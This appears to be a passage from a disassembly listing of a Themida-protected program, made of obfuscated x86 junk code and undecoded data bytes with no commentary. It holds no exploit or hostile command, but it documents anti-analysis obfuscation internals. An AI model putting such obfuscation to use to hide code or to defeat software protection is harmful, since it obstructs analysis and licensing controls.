		jmp	loc_5ACA90
; ---------------------------------------------------------------------------


loc_59E51F:				; CODE XREF: Themida_:005A590Bj
		mov	esp, [esp]
		add	edi, 55CD2E16h
		sub	edi, 23AA0990h
		push	eax
		mov	eax, 0B811670h
		push	edx
		mov	edx, 57E10761h
		not	edx
		and	edx, 3F475AE3h
		neg	edx
		xor	edx, 1BC25CBDh
		sub	edx, 372100D3h
		sub	edx, 96ADC206h
		add	eax, edx
		pop	edx
		jmp	loc_5997C6
; ---------------------------------------------------------------------------


loc_59E55E:				; CODE XREF: Themida_:005A9B3Fj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		dd 31243433h, 34332434h, 0C7815C24h, 2,	0F5B8E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E585:				; CODE XREF: Themida_:005A1BF5j
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	101Fh
		mov	[esp], ebp
		push	73B2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_5ABF2B
; ---------------------------------------------------------------------------


loc_59E5A8:				; CODE XREF: Themida_:005AABF5j
		push	2626h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 51247BA7h
		not	esi
		not	esi
		add	esi, 0AEDB845Ah
		mov	ecx, esi
		pop	esi
		or	[edi+1Ch], ecx
		jmp	loc_59DC6C
; ---------------------------------------------------------------------------


loc_59E5D0:				; CODE XREF: Themida_:005A9023j
		push	edx
		push	esi
		jmp	loc_59EAFB
; ---------------------------------------------------------------------------


loc_59E5D7:				; CODE XREF: Themida_:005AE36Bj
		xchg	ebp, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59E5E8:				; CODE XREF: Themida_:005A5D71j
					; Themida_:005AD43Bj
		dec	ch
		jmp	loc_5ABB72
; ---------------------------------------------------------------------------


loc_59E5EF:				; CODE XREF: Themida_:005A4132j
		pop	ebx
		shl	edi, 3
		shr	edi, 4
		sub	edi, 5C9D533Fh
		xor	edi, 0FA272ACh
		neg	edi
		xor	edi, 58717484h
		xor	ecx, edi
		jmp	loc_59EB3E
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 4C681h, 0C6830000h, 24348704h, 0BB53555Ch, 73011568h
		dd 0E68B0F43h, 53FFFFA3h, 0EDA6E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E636:				; CODE XREF: Themida_:005AD79Dj
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_59B780
; ---------------------------------------------------------------------------


loc_59E64C:				; CODE XREF: Themida_:005A22C8j
					; Themida_:005A239Cj
		add	esp, 4
		push	6EC8h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 16A20FBCh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A897B
; ---------------------------------------------------------------------------
		db 0E9h, 0B8h, 4
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E66A:				; CODE XREF: Themida_:0059A8E7j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_59877D
; ---------------------------------------------------------------------------
		dw 433h
		dd 0B8BAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E67E:				; CODE XREF: Themida_:005A9817j
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_5A9D0B
; ---------------------------------------------------------------------------


loc_59E694:				; CODE XREF: Themida_:0059BF16j
		mov	ecx, 251A2702h
		xor	ecx, eax
		pop	eax
		sub	ebx, 76E66560h
		sub	ebx, 208C6549h
		add	ebx, ecx
		add	ebx, 208C6549h
		add	ebx, 76E66560h
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5A5D82
; ---------------------------------------------------------------------------


loc_59E6CF:				; CODE XREF: Themida_:005AEC8Bj
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		push	177Eh
		mov	[esp], ebx
		jmp	loc_5A2B39
; ---------------------------------------------------------------------------


loc_59E6F3:				; CODE XREF: Themida_:005A8D1Dj
		mov	[esp], ecx
		jmp	loc_59F824
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C181h, 0C870000h, 24248B24h, 3AF56852h, 5BE90000h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E713:				; CODE XREF: Themida_:005A3F4Ej
		mov	edx, 75626F9Fh
		not	edx
		sub	edx, 367EE5CAh
		sub	ebx, edx
		pop	edx
		push	73DAh
		mov	[esp], ebx
		add	dword ptr [esp], 19A0603Fh
		jmp	loc_599485
; ---------------------------------------------------------------------------
		db 81h
		dd 0B5241EBh, 240C8B1Dh, 0D2D1E9h, 0D7885300h, 0FFEA03E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E74D:				; CODE XREF: Themida_:0059D30Cj
					; Themida_:loc_5A1F8Dj
		sub	ebp, 64A45C2Dh
		jmp	loc_5A9B95
; ---------------------------------------------------------------------------
		dd 8004C483h, 0CC8040ECh, 0E9CCFE52h, 92E5h, 815B5453h
		dd 4C3h, 0BB535100h, 4,	15BD989h, 0FF5359CBh, 5B042474h
		dd 8B24048Fh, 0FD682424h, 89000078h, 0E2892414h, 0E747E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E799:				; CODE XREF: Themida_:005A944Ej
		xor	ebp, edx
		pop	edx
		mov	ecx, ebp
		pop	ebp
		sub	ecx, edx
		pop	edx
		xor	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		sub	edx, 275A3024h
		jmp	loc_5A7EF4
; ---------------------------------------------------------------------------


loc_59E7B3:				; CODE XREF: Themida_:005A9FFAj
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A7AC7
; ---------------------------------------------------------------------------


loc_59E7CE:				; CODE XREF: Themida_:005989B5j
		mov	eax, 415E6D59h
		sub	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 7C1A743Ch
		sub	ebx, 6C5F3211h
		sub	ebx, 0F3212D3Ch
		add	ebp, ebx
		jmp	loc_59D919
; ---------------------------------------------------------------------------


loc_59E7EF:				; CODE XREF: Themida_:0059BA4Bj
		push	0FF3h
		jmp	loc_5AEF0B
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 6Ch
		dd 89CE7F0Ah, 242C8BEEh, 0E904EC83h, 9382h
; ---------------------------------------------------------------------------


loc_59E80C:				; CODE XREF: Themida_:0059F348j
		add	ebp, 68016A0Ch
		pop	ebx
		add	ebp, 2
		push	62EFh
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_5A2E14
; ---------------------------------------------------------------------------


loc_59E827:				; CODE XREF: Themida_:005A08C2j
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5A6B33
; ---------------------------------------------------------------------------


loc_59E838:				; CODE XREF: Themida_:0059A4B9j
		xchg	eax, [esp]
		jmp	loc_5AF0A5
; ---------------------------------------------------------------------------


loc_59E840:				; CODE XREF: Themida_:005A7F92j
		xor	[esp], ebx
		jmp	loc_59A231
; ---------------------------------------------------------------------------
aIYs		db '‰ΝYι',0Bh,'\',0
		align 10h


loc_59E850:				; CODE XREF: Themida_:0059A539j
		jbe	loc_5A6C3D
		jmp	loc_59B615
; ---------------------------------------------------------------------------


loc_59E85B:				; CODE XREF: Themida_:0059F6AFj
		sub	ebp, 4
		jmp	loc_5A4EF7
; ---------------------------------------------------------------------------
		db 0D1h
		dd 93880FE2h, 680000D7h, 51D8h,	0E9242C89h, 0FFFFF540h
; ---------------------------------------------------------------------------


loc_59E878:				; CODE XREF: Themida_:005ACF03j
		pop	esi
		add	ecx, edx
		jmp	loc_5A398A
; ---------------------------------------------------------------------------


loc_59E880:				; CODE XREF: Themida_:005AAF83j
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		shl	ecx, 5
		add	ecx, 11AC430Eh
		xor	ecx, 0D1DF8C2Ah
		jmp	loc_5A88A3
; ---------------------------------------------------------------------------
		dw 68h
		dd 0FF000000h, 78E92434h, 0E90000ABh, 429Ah
; ---------------------------------------------------------------------------


loc_59E8AC:				; CODE XREF: Themida_:0059FC3Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AD188
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 54240489h,	4BE5658h, 5000000h, 4934863h, 632DF001h
		dd 5E049348h, 4EC81h, 1C890000h, 6F916824h, 24890000h
		dd 24048124h, 4, 66B1E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E8FE:				; CODE XREF: Themida_:005A57F4j
		xchg	eax, [esp]
		pop	esp
		add	eax, 4CD9627Ah
		jmp	loc_5988A2
; ---------------------------------------------------------------------------


loc_59E90C:				; CODE XREF: Themida_:005AC617j
		shr	esi, 2
		inc	esi
		xor	esi, 25B086Fh
		jmp	loc_59D8DD
; ---------------------------------------------------------------------------


loc_59E91B:				; CODE XREF: Themida_:005A5687j
		add	esi, ecx
		pop	ecx
		add	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A6A2C
; ---------------------------------------------------------------------------


loc_59E92B:				; CODE XREF: Themida_:005ABCF9j
		sub	edi, eax
		jmp	loc_59E2C0
; ---------------------------------------------------------------------------


loc_59E932:				; CODE XREF: Themida_:005A690Cj
		mov	bx, [esp]
		jmp	loc_5A7CBE
; ---------------------------------------------------------------------------
		db 68h
		dd 7C7041FEh, 38C7815Fh, 0F7513157h, 87B850D7h,	0E9187A5Bh
		dd 0FFFFDED5h, 0B3EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_59E959:				; CODE XREF: Themida_:005A8288j
		pop	ebp
		add	edi, 0AD6CD5ECh
		push	1E66h
		mov	[esp], edi
		mov	edi, 161059CDh
		jmp	loc_5A1B7F
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 242C8904h, 0C581E589h, 4, 3304ED83h,	2C31242Ch, 242C3324h
		dd 8924248Bh, 2FE9241Ch, 0B10000A7h, 57EC80ECh,	0C480CC28h
		dd 0CC805957h, 0D850F0Eh, 0D0000069h, 0EE8A0FECh, 0E9FFFFDDh
		dd 108A5h, 0ECE9525Bh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E9BF:				; CODE XREF: Themida_:0059F50Bj
		mov	[esp], ecx
		mov	ecx, 54DC26FFh
		shl	ecx, 2
		add	ecx, 7FA5D8Fh
		jmp	loc_5AE510
; ---------------------------------------------------------------------------


loc_59E9D5:				; CODE XREF: Themida_:005AB9F6j
		sub	ebp, 5DB31F1Fh
		add	ebp, esi
		add	ebp, 5DB31F1Fh
		push	esi
		jmp	loc_5A3B97
; ---------------------------------------------------------------------------
		db 2 dup(0BBh),	2Ch
		dd 0FEE955CBh, 8100001Eh, 0A1764BE3h, 44F38178h, 1102012h
		dd 0EC835BDDh, 243C8904h, 30A6B850h, 0A2BF2836h, 31283630h
		dd 0FD2958C7h, 74FF555Fh, 8F5D0424h, 248B2404h,	240C8924h
		dd 0FFC9B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EA2D:				; CODE XREF: Themida_:005A1480j
		or	eax, eax
		jz	loc_59A361
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 75F45338h
		jmp	loc_59F000
; ---------------------------------------------------------------------------
		dd 88240489h, 8BC188D8h, 0C4832404h, 2434FF04h,	0FFF7F3E9h
		dd 0E8C140FFh, 4CB30D06h, 2605761Ch, 31E03A94h,	0CFA9E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EA76:				; CODE XREF: Themida_:005A4E8Fj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	7A6h
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_599BE9
; ---------------------------------------------------------------------------


loc_59EA91:				; CODE XREF: Themida_:005A0C2Dj
		pop	eax
		jmp	loc_5AE064
; ---------------------------------------------------------------------------


loc_59EA97:				; CODE XREF: Themida_:005A18E5j
		push	5FCDh
		mov	[esp], ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 72966013h
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0A812A6Dh
		jmp	loc_5A70F5
; ---------------------------------------------------------------------------
		dw 0DAF6h
		dd 0E7FB840Fh, 0E280FFFFh, 0D6EA80A8h, 0E907EAC0h, 76C6h
		dd 1FAABD66h, 246C0166h, 9FB2E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EAEE:				; CODE XREF: Themida_:005A6D5Cj
		mov	edx, [esp]
		jmp	loc_5A0129
; ---------------------------------------------------------------------------


loc_59EAF6:				; CODE XREF: Themida_:005A6B39j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_59EAFB:				; CODE XREF: Themida_:0059E5D2j
		push	557A1D77h
		pop	esi
		dec	esi
		jz	loc_5ABC68
		xor	esi, 0E7825D5h
		mov	edx, esi
		jmp	loc_5A9260
; ---------------------------------------------------------------------------


loc_59EB15:				; CODE XREF: Themida_:005AA4C3j
		push	1745h
		mov	[esp], ebp
		jmp	loc_59C94C
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 43D8E0Fh, 7EE90000h,	2D000040h, 5E995046h
		db 31h,	0C5h
; ---------------------------------------------------------------------------


loc_59EB36:				; CODE XREF: Themida_:005AE0AFj
		shr	eax, 2
		jmp	loc_5A380A
; ---------------------------------------------------------------------------


loc_59EB3E:				; CODE XREF: Themida_:0059E60Cj
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		jmp	loc_5A3207
; ---------------------------------------------------------------------------
		dw 215Ch
		dd 34FF1C6Fh, 9C685D24h, 8900003Fh, 0EC812414h,	4, 83242489h
		dd 8B042404h, 0C4832414h, 4C28104h, 83000000h, 0EC8304C2h
		dd 24148904h, 42474FFh,	0E92434FFh, 1A6Dh, 0DA31595Dh
		dd 76E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_59EB95:				; CODE XREF: Themida_:005A2B81j
		push	eax
		mov	eax, 63F37920h
		add	eax, 0CB7EDEBDh
		add	edx, eax
		pop	eax
		jmp	loc_59CE3D
; ---------------------------------------------------------------------------


loc_59EBA8:				; CODE XREF: Themida_:005A24D8j
		add	edx, 51AA6F5Bh
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		push	2753h
		mov	[esp], eax
		push	10C7h
		mov	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	72FDh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_5A2C19
; ---------------------------------------------------------------------------


loc_59EC05:				; CODE XREF: Themida_:005A87E2j
		pop	edx
		shl	edi, 6
		shl	edi, 1
		sub	edi, 0FFFFFFFFh
		jmp	loc_59D68C
; ---------------------------------------------------------------------------


loc_59EC16:				; CODE XREF: Themida_:005A3303j
		push	19F009B7h
		pop	ecx
		jmp	loc_59C931
; ---------------------------------------------------------------------------


loc_59EC21:				; CODE XREF: Themida_:loc_5A6D1Ej
		push	ecx
		mov	ecx, 44296A9Ch
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		jmp	loc_59BE38
; ---------------------------------------------------------------------------


loc_59EC32:				; CODE XREF: Themida_:005A7D33j
		pop	edx
		push	ecx
		mov	ecx, 6CB60E37h
		shr	ecx, 3
		not	ecx
		or	ecx, 64F31365h
		push	esi
		mov	esi, 0D2F6EC5Dh
		sub	ecx, 6CE31A8h
		sub	ecx, esi
		add	ecx, 6CE31A8h
		pop	esi
		jmp	loc_5A0EC3
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0A43DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EC66:				; CODE XREF: Themida_:005A7491j
		pop	ebp
		push	2429h
		jmp	loc_599B0A
; ---------------------------------------------------------------------------


loc_59EC71:				; CODE XREF: Themida_:005994DDj
		shr	ebx, 8
		neg	ebx
		jmp	loc_5AE2AE
; ---------------------------------------------------------------------------


loc_59EC7B:				; CODE XREF: Themida_:005A5B15j
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_59D0C6
; ---------------------------------------------------------------------------


loc_59EC83:				; CODE XREF: Themida_:005AB64Aj
					; Themida_:005AD9BFj
		sub	ecx, 24EB6AA7h
		jmp	loc_598ACC
; ---------------------------------------------------------------------------


loc_59EC8E:				; CODE XREF: Themida_:005A1882j
		push	ecx
		mov	cl, 2Ah
		sub	cl, 0B7h
		xor	cl, 9Ch
		jmp	loc_5AF2F3
; ---------------------------------------------------------------------------


loc_59EC9C:				; CODE XREF: Themida_:005A1B56j
					; Themida_:005A3D99j
		pop	eax
		xor	esi, ebp
		jmp	loc_5A1CE1
; ---------------------------------------------------------------------------


loc_59ECA4:				; CODE XREF: Themida_:005AC778j
		or	ebx, ecx
		pop	ecx
		xor	ebx, 42672860h
		shl	ebx, 1
		push	edx
		mov	edx, 5D8B3A5Ch
		and	edx, 14456230h
		push	ebx
		mov	ebx, 33C55CB9h
		add	edx, 338C0809h
		add	edx, ebx
		sub	edx, 338C0809h
		pop	ebx
		inc	edx
		add	edx, 0CF2883DFh
		jmp	loc_5AED9B
; ---------------------------------------------------------------------------


loc_59ECDC:				; CODE XREF: Themida_:005AC4E7j
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5A5814
; ---------------------------------------------------------------------------
		dd 24B7D05h, 0E9E8013Ch, 0FFFFD1D8h, 0E904C483h, 0FFFFE5A0h
		dd 0E95FF929h, 4961h
; ---------------------------------------------------------------------------


loc_59ED04:				; CODE XREF: Themida_:005A50B9j
		add	esi, 22C8E3C7h
		jmp	loc_5A1E26
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 8B545000h, 1DE92404h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59ED1F:				; CODE XREF: Themida_:0059EE5Dj
		push	ecx
		jmp	loc_5A937F
; ---------------------------------------------------------------------------


loc_59ED25:				; CODE XREF: Themida_:loc_5A854Bj
		neg	ebx
		jbe	loc_598FEA
		shl	ebx, 7
		js	loc_5A7B88
		jmp	loc_5A4A22
; ---------------------------------------------------------------------------
		db 5Fh
; ---------------------------------------------------------------------------


loc_59ED3C:				; CODE XREF: Themida_:005A19CAj
		xor	eax, [esp]
		mov	esp, [esp]
		pop	ecx
		jmp	loc_5A3552
; ---------------------------------------------------------------------------


loc_59ED48:				; CODE XREF: Themida_:0059CBABj
					; Themida_:005A1B5Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ecx, 24EB6AA7h
		jmp	loc_5AD9BD
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 0E9000000h, 0A59Dh
; ---------------------------------------------------------------------------


loc_59ED68:				; CODE XREF: Themida_:005ADC77j
		add	ch, 2Ch
		push	edx
		jmp	loc_59ADFE
; ---------------------------------------------------------------------------


loc_59ED71:				; CODE XREF: Themida_:0059F665j
		jz	loc_59C3DF
		xor	esi, 2D21BCABh
		jmp	loc_5ADBDD
; ---------------------------------------------------------------------------


loc_59ED82:				; CODE XREF: Themida_:005AAE10j
		pop	edx
		push	ebp
		mov	ebp, 38566811h
		jmp	loc_5A2D32
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 95F6E924h, 489FFFFh,	0D414E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ED9E:				; CODE XREF: Themida_:0059E1B6j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5A56B7
; ---------------------------------------------------------------------------


loc_59EDBC:				; CODE XREF: Themida_:005A8819j
		mov	eax, [esp]
		add	esp, 4
		or	bl, 99h
		jnp	loc_5A614C
		jmp	loc_59BC53
; ---------------------------------------------------------------------------
		db 1
		dd 85EF81DFh, 0FF49341Ch, 565B2434h, 32E9E689h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EDE7:				; CODE XREF: Themida_:0059F8CFj
		pop	edi
		push	739Dh
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		push	141F2138h
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 1F3C179Ah
		ja	loc_59FAAC
		not	ecx
		inc	ecx
		add	ecx, 233E56AEh
		push	ecx
		mov	edx, ecx


loc_59EE2C:				; CODE XREF: Themida_:005AC940j
		sub	esi, 32D12A09h
		add	esi, ecx
		jmp	loc_59BA32
; ---------------------------------------------------------------------------


loc_59EE39:				; CODE XREF: Themida_:0059D524j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		jmp	loc_5A145F
; ---------------------------------------------------------------------------


loc_59EE47:				; CODE XREF: Themida_:005A85D8j
		push	ebp
		jmp	loc_5A4D77
; ---------------------------------------------------------------------------


loc_59EE4D:				; CODE XREF: Themida_:005AA5E8j
		pop	esi
		sub	ecx, 33EA1766h
		sub	ecx, edi
		add	ecx, 33EA1766h
		pop	edi
		jmp	loc_59ED1F
; ---------------------------------------------------------------------------


loc_59EE62:				; CODE XREF: Themida_:0059C4B6j
		shr	ebp, 4
		jmp	loc_5AC2A4
; ---------------------------------------------------------------------------
		dw 8358h
		dd 348904ECh, 7FBA5224h, 5222654Eh, 1820E9h
		db 0
; ---------------------------------------------------------------------------


loc_59EE7D:				; CODE XREF: Themida_:005AAA07j
		mov	[esp], ecx
		push	197F559Fh
		pop	ecx
		shr	ecx, 6
		xchg	edi, ecx
		not	edi
		jmp	loc_5A6B09
; ---------------------------------------------------------------------------


loc_59EE92:				; CODE XREF: Themida_:005A57CBj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, 50016141h
		neg	edx
		dec	edx
		not	edx
		shr	edx, 3
		push	eax
		jmp	loc_5A7F81
; ---------------------------------------------------------------------------
		dd 0FF94D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EEB5:				; CODE XREF: Themida_:005AAB33j
		push	esi
		mov	esi, 34DA4EC9h
		sub	esi, 0F5B33CBBh
		add	ebp, esi
		pop	esi
		pop	edx
		jmp	loc_5ABD06
; ---------------------------------------------------------------------------
		dw 487h
		dd 760CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EED2:				; CODE XREF: Themida_:0059CE15j
		push	ebp
		mov	ebp, 5F1E5FE2h
		sub	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_59964F
; ---------------------------------------------------------------------------


loc_59EEE5:				; CODE XREF: Themida_:005ABB6Dj
		sub	ebx, 61DF6B79h
		mov	ecx, ebx
		pop	ebx
		add	eax, ecx
		jmp	loc_5AD085
; ---------------------------------------------------------------------------
aM0S_0		db '¬0Ψι',1Bh,'Ρ',0
		db 0
; ---------------------------------------------------------------------------


loc_59EEFD:				; CODE XREF: Themida_:005A0850j
		shl	esi, 5
		or	esi, 7933191Eh
		sub	esi, 7C396219h
		jmp	loc_5A2326
; ---------------------------------------------------------------------------
aZSS		db '‡Ϊι΅™',0
		align 4


loc_59EF18:				; CODE XREF: Themida_:005A2257j
					; Themida_:005AF56Cj
		sub	ecx, 100C68E2h
		push	ebp
		jmp	loc_5AAE51
; ---------------------------------------------------------------------------


loc_59EF24:				; CODE XREF: Themida_:005A5220j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59D740
; ---------------------------------------------------------------------------
		dw 4566h
		dd 0FFEBE9E9h, 0E95B66FFh, 4B48h, 54240489h, 40558h, 19E90000h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EF4F:				; CODE XREF: Themida_:0059F03Cj
		add	eax, 3BDE6253h
		add	eax, ebx
		push	ecx
		mov	ecx, 57B44E14h
		add	ecx, 0E42A143Fh
		jmp	loc_5A6DDC
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFDCF0h, 9950462Dh, 58C5315Eh, 8904EC83h,	5CE9241Ch
		db 8Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EF7F:				; CODE XREF: Themida_:005AC7D3j
		push	65B734FFh
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A17B7
; ---------------------------------------------------------------------------


loc_59EF9D:				; CODE XREF: Themida_:005A9963j
		mov	edx, esi
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, 782E45B7h
		sub	ebx, edx
		pop	edx
		jmp	loc_5A53E9
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 24348924h, 0B86EDABEh, 0DB9514Dh, 3121F421h,	0F68159CEh
		dd 6C4C4FD3h, 6056C581h, 7FE96280h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EFDB:				; CODE XREF: Themida_:005A495Fj
		xor	eax, 1B8A5385h
		mov	edi, eax
		pop	eax
		jmp	loc_59B53A
; ---------------------------------------------------------------------------


loc_59EFE8:				; CODE XREF: Themida_:005AD2D0j
		mov	[esp], esi
		jmp	loc_5AD741
; ---------------------------------------------------------------------------


loc_59EFF0:				; CODE XREF: Themida_:005A118Cj
		neg	ch
		sub	ch, 0FFh
		xor	ch, 0A5h
		sub	al, ch
		pop	ecx
		jmp	loc_5A7C1A
; ---------------------------------------------------------------------------


loc_59F000:				; CODE XREF: Themida_:0059EA47j
					; Themida_:loc_5ACD15j
		shl	edx, 2
		or	edx, 2C1B2F25h
		jmp	loc_5A5921
; ---------------------------------------------------------------------------


loc_59F00E:				; CODE XREF: Themida_:005AE05Fj
		xor	edi, ebp
		pop	ebp
		push	ebx
		mov	ebx, 56F7230Bh
		push	edi
		push	73C53EAh
		jmp	loc_5AE97C
; ---------------------------------------------------------------------------


loc_59F022:				; CODE XREF: Themida_:0059DF61j
		pop	edi
		xor	edx, 7D9835DBh
		jge	loc_5A3236
		add	edx, 0CE96F0Bh
		jl	loc_59F4E4
		pop	ebp
		jmp	loc_59EF4F
; ---------------------------------------------------------------------------
		db 47h,	0E9h, 4Bh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F047:				; CODE XREF: Themida_:005A4045j
		inc	edi
		shl	edi, 8
		jmp	loc_598A1C
; ---------------------------------------------------------------------------


loc_59F050:				; CODE XREF: Themida_:0059BB82j
		add	edi, 78A76C24h
		push	edi
		pop	ebp
		pop	edi
		jmp	loc_5A1FAD
; ---------------------------------------------------------------------------


loc_59F05E:				; CODE XREF: Themida_:005AB18Bj
		add	eax, ecx
		jmp	loc_5A00F3
; ---------------------------------------------------------------------------


loc_59F065:				; CODE XREF: Themida_:0059A9D7j
					; Themida_:0059A9DFj
		pop	eax
		xor	ebp, eax
		jmp	loc_5A1F5A
; ---------------------------------------------------------------------------


loc_59F06D:				; CODE XREF: Themida_:005A9300j
		push	1F87h
		mov	[esp], edi
		mov	edi, 308801DAh
		or	eax, edi
		jmp	loc_59C527
; ---------------------------------------------------------------------------


loc_59F081:				; CODE XREF: Themida_:005A8878j
		add	esp, 4
		xor	al, cl
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 76A3230Bh
		push	edi
		mov	edi, 37674FD6h
		shr	edi, 6
		add	edi, 1
		neg	edi
		push	edx
		mov	edx, 343D25EFh
		inc	edx
		sub	edx, 7E2D5810h
		add	edx, 19555B03h
		neg	edx
		sub	edx, 2DA777AFh
		xor	edx, 227747EAh
		jmp	loc_5AE785
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 643Dh, 8006EDC0h
		dd 0E95BEDh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F0EF:				; CODE XREF: Themida_:005A002Ej
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A5A61
; ---------------------------------------------------------------------------
		dd 8DABC781h, 0FD01C94Ah, 0E92434FFh, 0FFFFE867h
; ---------------------------------------------------------------------------


loc_59F124:				; CODE XREF: Themida_:0059C360j
		and	eax, 314B7D35h
		xor	eax, 200B3414h
		add	ebx, eax
		pop	eax
		jmp	loc_5A16A8
; ---------------------------------------------------------------------------


loc_59F136:				; CODE XREF: Themida_:00598C9Aj
					; Themida_:loc_59A035j
		add	al, 9Dh
		or	cl, al
		pop	eax
		sub	cl, 0ADh
		add	al, cl
		jmp	loc_59C394
; ---------------------------------------------------------------------------


loc_59F145:				; CODE XREF: Themida_:0059CB14j
					; Themida_:005A7382j
		push	edx
